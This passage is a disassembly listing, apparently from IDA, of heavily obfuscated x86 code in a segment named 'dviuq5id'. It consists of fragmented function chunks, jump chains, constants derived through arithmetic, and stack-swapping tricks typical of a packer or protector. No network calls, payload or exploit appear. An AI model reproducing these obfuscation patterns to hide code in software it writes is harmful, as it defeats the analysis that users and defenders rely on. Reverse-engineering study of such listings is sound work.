		push	0B8720E43h
		pop	edi
		and	edi, 7A192462h
		jmp	loc_44DDD5
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
		jbe	loc_4528F3
		add	esi, 4884B77Eh
		jmp	sub_444E6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_457190:				; CODE XREF: sub_43E828+8j
					; sub_45A4C9:loc_4415B4j ...
		jmp	loc_43FE6E
; ---------------------------------------------------------------------------

loc_457195:				; CODE XREF: sub_43A160+608Cj
					; sub_45A4C9+6j
		pop	ecx
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442772

loc_45719D:				; CODE XREF: sub_442772+1j
		jmp	loc_4464BB
; END OF FUNCTION CHUNK	FOR sub_442772
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_4571A2:				; CODE XREF: sub_43F83A+15FBj
		jmp	loc_4447B5
; END OF FUNCTION CHUNK	FOR sub_43F83A

; =============== S U B	R O U T	I N E =======================================



sub_4571A7	proc near		; CODE XREF: sub_4394E7+4p
					; dviuq5id:0043DF6Fp ...

; FUNCTION CHUNK AT 004525F3 SIZE 0000000A BYTES

		push	ecx
		mov	ecx, ebp
		jmp	loc_4525F3
sub_4571A7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4571AF:				; CODE XREF: sub_454094-15D32j
		xchg	edx, esi
		cmp	ebp, 2240D154h

loc_4571B7:				; CODE XREF: sub_458F2A:loc_44F769j
		jmp	loc_43BB8C
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		jmp	ds:off_41D1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_4571C2:				; CODE XREF: sub_441F76-7B9Bj
		jmp	loc_442A5F
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4571C7:				; CODE XREF: sub_459E36:loc_4444C1j
					; sub_448FC7+E41j ...
		pop	edx
		jz	loc_449E0D
		mov	eax, [esp-8+arg_4]
		push	edx
		push	offset loc_455CB1
		jmp	loc_45098E
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4497C3

loc_4571DC:				; CODE XREF: sub_4497C3:loc_4512A3j
		push	edx
		call	sub_43B3A0
		mov	eax, 205AA81Dh
		push	edi
		push	0C991F3B9h
		pop	edi
		jmp	loc_4463BC
; END OF FUNCTION CHUNK	FOR sub_4497C3
; ---------------------------------------------------------------------------

loc_4571F3:				; CODE XREF: dviuq5id:0044BC84j
		or	ebx, 8434C050h
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_4571F9:				; CODE XREF: sub_4509F7:loc_44BC78j
		rol	esi, 15h
		add	esi, 1997F196h
		xor	eax, esi
		jmp	loc_44AAA5
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
		add	eax, 204AC75Fh
		jmp	sub_4458D3
; ---------------------------------------------------------------------------
		mov	ds:off_41D0B0, eax
		push	offset sub_43B1B6
		jmp	locret_44F7AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_457224:				; CODE XREF: sub_43C4B5+19F19j
		add	eax, 43CBDBFAh
		mov	eax, [eax]
		push	offset sub_458FA7
		jmp	loc_44CF4B
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_457236:				; CODE XREF: sub_453642:loc_441FC2j
		xor	edx, 3C3CC845h
		and	edx, 0C2CF81FEh
		xor	edx, 0C9CA5EBDh
		and	edx, 8B808CD5h
		add	edx, 0F74337DFh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_44ABB5
		jmp	loc_44B987
; END OF FUNCTION CHUNK	FOR sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_457263:				; CODE XREF: sub_4463B7-443j
		pop	edx
		xor	edx, 903DAB22h
		add	edx, 63219C58h
		jb	loc_443F51
		pop	eax
		mov	[edi], ebp
		sbb	edi, 28647AE3h
		push	0CAE9A51Ch
		jmp	loc_455DA1
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
		jmp	ds:off_41D208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_45728F:				; CODE XREF: sub_447ECD+125F7j
		jmp	loc_446CF0
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_457294:				; CODE XREF: sub_454094-11B16j
		jmp	loc_448AFA
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_457299:				; CODE XREF: sub_4492F0:loc_44805Aj
					; sub_44CFBC:loc_44FD07j ...
		pop	edx
		jnb	loc_4561E9
		push	offset sub_44440E
		jmp	loc_43EE24
; END OF FUNCTION CHUNK	FOR sub_4492F0

; =============== S U B	R O U T	I N E =======================================



sub_4572AA	proc near		; CODE XREF: dviuq5id:00439627j
					; sub_43B80C+1712Cp

; FUNCTION CHUNK AT 0043C7AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DB31 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044333D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044F687 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450932 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004587D8 SIZE 00000005 BYTES

		xchg	edx, [esp+0]

loc_4572AD:				; CODE XREF: dviuq5id:loc_43E043j
		pop	edx
		push	0FE5C1453h
		pop	ecx
		sub	ecx, 84D645B4h
		and	ecx, 0E920514Bh
		sub	ecx, 0FC6E8C1Dh
		add	ecx, 2E20C19Fh
		jmp	loc_44F687
sub_4572AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4572D1:				; CODE XREF: sub_4477D7-3EB7j
		jo	loc_4434DC

loc_4572D7:				; CODE XREF: sub_4477D7:loc_450C40j
		mov	eax, [ebp-108h]
		mov	byte ptr [ebp+eax-100h], 0
		push	2010h
		jmp	loc_4563F1
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_4572EF:				; CODE XREF: sub_454E7C-138ACj
		jz	loc_445BBB
		xchg	ecx, [edi]
		and	edi, edx
		jmp	loc_4458C1
; END OF FUNCTION CHUNK	FOR sub_454E7C
; ---------------------------------------------------------------------------

loc_4572FE:				; CODE XREF: dviuq5id:loc_43C056j
		sub	esi, 0A514B24Ah
		add	esi, 8520DB32h
		popf
		xchg	esi, [esp]
		jmp	loc_4443EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E109

loc_457313:				; CODE XREF: sub_44E109:loc_445175j
		pop	edi
		sub	edi, 8157B4A8h
		and	edi, 75D5709Dh
		add	edi, 63C4F3E3h
		xor	eax, edi
		pop	edi
		ror	eax, 0Dh
		add	eax, 5A5289B1h
		jmp	loc_452BAF
; END OF FUNCTION CHUNK	FOR sub_44E109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_457337:				; CODE XREF: sub_441C84:loc_445106j
		jnz	loc_43C4EF
		jmp	loc_458A27
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------

loc_457342:				; CODE XREF: dviuq5id:00447688j
		sub	edi, 2DD85839h
		add	edi, 0E6C301C5h
		push	offset sub_457CA3
		jmp	loc_44C8B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_380. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440729

loc_457359:				; CODE XREF: sub_440729-73BDj
		jmp	nullsub_274
; END OF FUNCTION CHUNK	FOR sub_440729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4413F5

loc_45735E:				; CODE XREF: sub_4413F5+C65j
		xchg	esi, [esp+4+var_4]
		jmp	loc_43E9B5
; END OF FUNCTION CHUNK	FOR sub_4413F5
; ---------------------------------------------------------------------------

loc_457366:				; CODE XREF: dviuq5id:loc_4420C3j
		push	offset sub_44D521
		jmp	loc_448ACE
; ---------------------------------------------------------------------------

loc_457370:				; CODE XREF: dviuq5id:loc_4427F6j
		xor	esi, 3E7FA0E3h
		rol	esi, 3
		jnb	loc_44323C
; START	OF FUNCTION CHUNK FOR sub_45889C

loc_45737F:				; CODE XREF: sub_45889C-11225j
		jmp	loc_44B702
; END OF FUNCTION CHUNK	FOR sub_45889C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF9D

loc_457384:				; CODE XREF: sub_43AF9D:loc_43AC04j
		jmp	sub_444F0F
; END OF FUNCTION CHUNK	FOR sub_43AF9D
; ---------------------------------------------------------------------------

loc_457389:				; CODE XREF: dviuq5id:00443DF6j
		jnb	loc_44878F
		jmp	loc_443235
; ---------------------------------------------------------------------------

loc_457394:				; CODE XREF: dviuq5id:004556D5j
		test	edx, edi
		jmp	loc_4469CF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7C7

loc_45739C:				; CODE XREF: sub_44D7C7-F1D6j
		jmp	nullsub_275
; END OF FUNCTION CHUNK	FOR sub_44D7C7
; ---------------------------------------------------------------------------
		push	edx
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	5587929Eh
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		jmp	loc_45122B
; ---------------------------------------------------------------------------

loc_4573B8:				; DATA XREF: sub_449187-ABDDo
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_451BA5
		jmp	loc_455CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F5C4

loc_4573C7:				; CODE XREF: sub_44F5C4+Dj
		pop	edi
		xchg	ecx, [esp-0Ch+arg_8]
		mov	ebx, ecx
		pop	ecx
		pop	ebp
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_44F5C4
; ---------------------------------------------------------------------------

loc_4573D4:				; CODE XREF: dviuq5id:0043D592j
		sub	edx, eax
		shr	edx, 10h
		rol	edx, 6
		jmp	loc_458B46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_4573E1:				; CODE XREF: sub_459804+15j
		cmp	dword ptr [ebp-20h], 0
		jge	loc_4581D3
		jmp	loc_44BA6C
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------

loc_4573F0:				; CODE XREF: dviuq5id:0043E008j
		or	edi, 5C2F9584h
		push	offset loc_4568C4
		jmp	loc_43EBBA
; ---------------------------------------------------------------------------

loc_457400:				; CODE XREF: dviuq5id:004502D8j
		jnz	loc_442114
		jmp	loc_43BEF4
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_453074
		jmp	loc_44A008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_457418:				; CODE XREF: sub_440898:loc_43E6D9j
		div	ecx
		mov	[ebp-14h], edx
		push	99312E6Fh
		pop	eax
		sub	eax, 0FC0B1E16h
		add	eax, 47A4134Ch
		and	eax, 2B278ED3h
		sub	eax, 0A4362202h
		jmp	loc_44CFF0
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_457440:				; CODE XREF: dviuq5id:0045A085j
		jz	loc_458223
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_457446:				; CODE XREF: sub_439C09:loc_44A4AFj
		add	edx, 72DF74A1h
		xor	eax, edx
		pop	edx
		jmp	loc_43B469
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_457454:				; CODE XREF: dviuq5id:00443913j
		test	esi, 0A12B73DBh
		jmp	loc_43BB57
; ---------------------------------------------------------------------------

loc_45745F:				; CODE XREF: dviuq5id:0044CF5Aj
		test	al, al
		jz	loc_4452E7
		jmp	loc_44A9D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_45746C:				; CODE XREF: sub_446004:loc_45A167j
		lea	eax, [ebp-14h]
		mov	dword ptr [eax], 737361h
		push	eax
		mov	eax, esi
		xchg	eax, [esp+0]
		push	86B9F5D8h
		pop	esi
		jmp	loc_45A12B
; END OF FUNCTION CHUNK	FOR sub_446004
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_458. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_457487:				; CODE XREF: dviuq5id:0044D6A0j
		add	ecx, edi
		or	esi, edx
		cmp	esi, edx
		jmp	loc_444D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_457492:				; CODE XREF: sub_43FA59:loc_4406BDj
		sbb	ecx, 0F6C451DBh
		jmp	loc_44469E
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_45749D:				; CODE XREF: sub_44646F:loc_448980j
		jnz	loc_44E907
		jmp	loc_441BE1
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
		jnb	sub_43CD8D
		mov	edi, [eax]
		jmp	sub_4574E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_4574B5:				; CODE XREF: sub_44B99E:loc_4528D0j
		add	ebx, 636B2C0Ch
		and	esi, 1745F185h
		jmp	loc_444B59
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_4574C6:				; CODE XREF: dviuq5id:loc_43C912j
		pop	ecx
		and	ecx, ds:4000F7h
		or	ecx, 0C4EBA552h
		and	ecx, 0A1D445C2h
		add	ecx, 5F8479CDh
		xchg	ecx, [esp]
		jmp	loc_439D50

; =============== S U B	R O U T	I N E =======================================



sub_4574E7	proc near		; CODE XREF: dviuq5id:004574B0j
					; sub_43E6A7:loc_457DEFp

; FUNCTION CHUNK AT 0044699C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446DE2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044783D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A023 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D88D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E30A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ED7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045683F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045848C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458DD9 SIZE 00000007 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_440D0D
		test	al, al
		jz	loc_44783D
		jmp	loc_44ED7A
sub_4574E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4574FD	proc near		; CODE XREF: sub_457566-1AC14p
					; sub_44297E+11j

; FUNCTION CHUNK AT 0043D3A5 SIZE 00000012 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_453642
		push	esi
		push	0C8382E8Dh
		jmp	loc_43D3A5
sub_4574FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_457511:				; CODE XREF: sub_4560AC:loc_43F660j
					; sub_4560AC-16A3Aj
		xor	eax, 8F0A4C4Bh
		and	eax, ds:4000FBh
		xor	eax, 0A2100158h
		push	offset loc_451230
		jmp	nullsub_498
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
		mov	eax, 0CEEC89B4h
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp]
		jmp	loc_44687F
; ---------------------------------------------------------------------------

loc_45753D:				; CODE XREF: dviuq5id:00457FD8j
		adc	edi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_45753F	proc near		; CODE XREF: sub_445498+3F62p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CEDD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043EFD1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043FE4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445287 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004457C3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044596A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445A54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CB81 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044D33F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044F9B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004508AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451CAF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045382C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454425 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004547B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00458D2A SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		call	sub_4411B8
		mov	eax, 0DD5E106Fh
		call	sub_453642
		push	ecx
		jmp	loc_44F9B0
sub_45753F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	ebp, 0F739DFA5h
		jmp	sub_43EA36

; =============== S U B	R O U T	I N E =======================================



sub_457566	proc near		; CODE XREF: sub_4391AB+1p
					; dviuq5id:00453D6Ej

; FUNCTION CHUNK AT 0043C94D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043D9B3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043DB20 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044621A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044629F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B3B4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044B8B5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044EAA3 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044FA08 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00453030 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453D8B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455AB7 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		jmp	loc_44629F
sub_457566	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_457574	proc near		; CODE XREF: dviuq5id:00443A3Cj
					; sub_44B2EA+9B0Bp

; FUNCTION CHUNK AT 0043CAC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446745 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00450B66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004559E2 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edi, 0C099082Bh
		xor	eax, edi
		call	sub_458527

loc_457585:				; CODE XREF: dviuq5id:0044E339j
		jmp	loc_450B66
sub_457574	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D7A

loc_45758A:				; CODE XREF: sub_440D7A+3j
		jmp	sub_43CC42
; END OF FUNCTION CHUNK	FOR sub_440D7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_45758F:				; CODE XREF: sub_44084F-479Cj
		jmp	nullsub_280
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------

loc_457594:				; CODE XREF: dviuq5id:0043943Dj
		jmp	sub_44BB42
; ---------------------------------------------------------------------------
		popf
		and	edx, ebx
		jmp	sub_44A102
; ---------------------------------------------------------------------------

loc_4575A1:				; CODE XREF: dviuq5id:0043BD13j
		sbb	ebx, 46BEF69Dh
		pushf
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4575A8:				; CODE XREF: sub_43FDFB:loc_43BD05j
		rol	ecx, 3
		sub	ecx, 0E39A739Dh
		jns	loc_43D75A

loc_4575B7:				; CODE XREF: dviuq5id:00445F0Bj
		jmp	loc_449D3A
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_4575BC:				; CODE XREF: sub_43938B+Ej
		jmp	loc_456D6D
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		adc	eax, ebx
		jmp	sub_43DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4575C8:				; CODE XREF: sub_43C4B5:loc_447D6Fj
		jz	loc_43B963
		jmp	loc_44E95F
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

loc_4575D3:				; CODE XREF: dviuq5id:00450658j
		jns	loc_45945E

; =============== S U B	R O U T	I N E =======================================



sub_4575D9	proc near		; CODE XREF: sub_44D948-8917p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439C7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B6E9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00454823 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	edi, [esp+0]
		mov	eax, edi
		pop	edi
		xor	eax, 7814D4C3h
		rol	eax, 1Dh
		jmp	loc_439C7D
sub_4575D9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	esi, [edi]
		adc	ecx, eax
		jmp	sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_4575FA:				; CODE XREF: sub_44A15A:loc_442667j
		and	edi, 0E9A92623h
		add	edi, 6C656AC6h
		sub	eax, edi
		pop	edi
		ror	eax, 14h
		jmp	loc_448055
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------

loc_457611:				; CODE XREF: dviuq5id:0044890Ej
		cmp	ebp, 0AE9D91A9h
		jmp	loc_440FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_45761C:				; CODE XREF: sub_446DD8+453Fj
		mov	ebx, eax
		xchg	ebx, [esp+0]
		call	sub_43A101

loc_457626:				; CODE XREF: sub_43BD72+19761j
		or	eax, eax
		jnz	loc_4451D6
		jmp	loc_454A8E
; END OF FUNCTION CHUNK	FOR sub_446DD8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_396. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9FB

loc_457634:				; CODE XREF: sub_44F9FB+6457j
		jmp	loc_43948F
; END OF FUNCTION CHUNK	FOR sub_44F9FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_457639:				; CODE XREF: sub_4525D0-8C52j
		jmp	loc_45942C
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4402E1

loc_45763E:				; CODE XREF: sub_4402E1-3280j
		jmp	loc_442AF4
; END OF FUNCTION CHUNK	FOR sub_4402E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_457643:				; CODE XREF: sub_4560AC-610Fj
		ror	edi, 19h
		push	7B078DE3h

loc_45764B:				; CODE XREF: sub_4560AC:loc_44D379j
		push	offset loc_44DC0B
		jmp	nullsub_499
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_457655:				; CODE XREF: sub_4489E1:loc_447873j
		call	sub_456B24

loc_45765A:				; CODE XREF: sub_4557F2+Aj
		jmp	loc_44E011
; END OF FUNCTION CHUNK	FOR sub_4489E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B4F

loc_45765F:				; CODE XREF: sub_442B4F+D74j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_442B4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44142D

loc_457664:				; CODE XREF: sub_44142D+Aj
		jmp	loc_44484E
; END OF FUNCTION CHUNK	FOR sub_44142D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_457669:				; CODE XREF: sub_4538B3-12975j
		jmp	loc_44B271
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_45766E:				; CODE XREF: sub_458B23:loc_456788j
		jge	loc_458006

loc_457674:				; CODE XREF: sub_439C09+C95Dj
		jmp	loc_457CED
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
		xor	ecx, 39E4A4CFh
		sbb	ebp, 5CB4951Ch
		jmp	loc_457FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_45768A:				; CODE XREF: sub_439C09+3C1Bj
		jz	loc_455712
		or	esi, ebp
		jmp	loc_45570A
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_457697:				; CODE XREF: sub_442BBA+E24Fj
		xchg	edi, [ebp+0]
		shr	ebx, 1Bh
		xor	esi, 623E622Eh

loc_4576A3:				; CODE XREF: dviuq5id:loc_4423CFj
		call	sub_43F9BC

loc_4576A8:				; CODE XREF: sub_44084F+A47Dj
		jmp	nullsub_287
; END OF FUNCTION CHUNK	FOR sub_442BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_4576AD:				; CODE XREF: sub_43CB4C:loc_43FAB2j
		test	byte ptr [eax-10h], 38h
		jnz	loc_44FEE6
		mov	eax, [ebp+8]
		push	eax
		call	sub_440AB3

loc_4576C0:				; CODE XREF: dviuq5id:00448ABBj
		jmp	loc_43C55D
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_4576C5:				; CODE XREF: sub_455518-1174Cj
		mov	edx, eax
		call	sub_44F582

loc_4576CC:				; CODE XREF: dviuq5id:0045A2C4j
		jmp	loc_43DD88
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_4576D1:				; CODE XREF: dviuq5id:0043958Bj
					; sub_4512BC+5128j
		jnb	loc_44FF5A
		mov	ebp, [edi]
		xchg	ebp, ebx
		pushf
		jmp	loc_44B391
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------

loc_4576E1:				; CODE XREF: dviuq5id:00455131j
		or	ebx, 0D0DB7402h
		cmp	ebx, 905D028Eh
		jmp	loc_454480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4576F2:				; CODE XREF: sub_43C2DA:loc_4480DCj
		push	eax
		push	eax
		push	0C011968Bh
		pop	eax
		jmp	loc_448C36
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_457700:				; CODE XREF: dviuq5id:0044F531j
		jmp	locret_44C901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419B6

loc_457705:				; CODE XREF: sub_4419B6+B7ABj
		jmp	loc_44901B
; END OF FUNCTION CHUNK	FOR sub_4419B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_45770A:				; CODE XREF: sub_43D181-213Bj
		jle	loc_44CA73
		xchg	ebp, [edi]
		jmp	loc_457805
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_457717:				; CODE XREF: sub_44C6B8-DC32j
		push	53C88966h
		ror	ecx, 1Ch
		jmp	loc_44FEDC
; END OF FUNCTION CHUNK	FOR sub_44C6B8

; =============== S U B	R O U T	I N E =======================================



sub_457724	proc near		; CODE XREF: sub_44514D:loc_44A669j

; FUNCTION CHUNK AT 004415D5 SIZE 00000004 BYTES

		push	ebx
		jmp	loc_4415D5
sub_457724	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45772A:				; CODE XREF: sub_4525D0+7145j
		jnz	loc_43EFF3
		jmp	loc_44C0A6
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_457735:				; DATA XREF: sub_443ECE+D2DAo
		pop	esi
		push	esi
		pushf
		push	864D2B6Ah
		pop	esi
		sub	esi, 0EA4C568Bh
		jmp	loc_440E6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F236

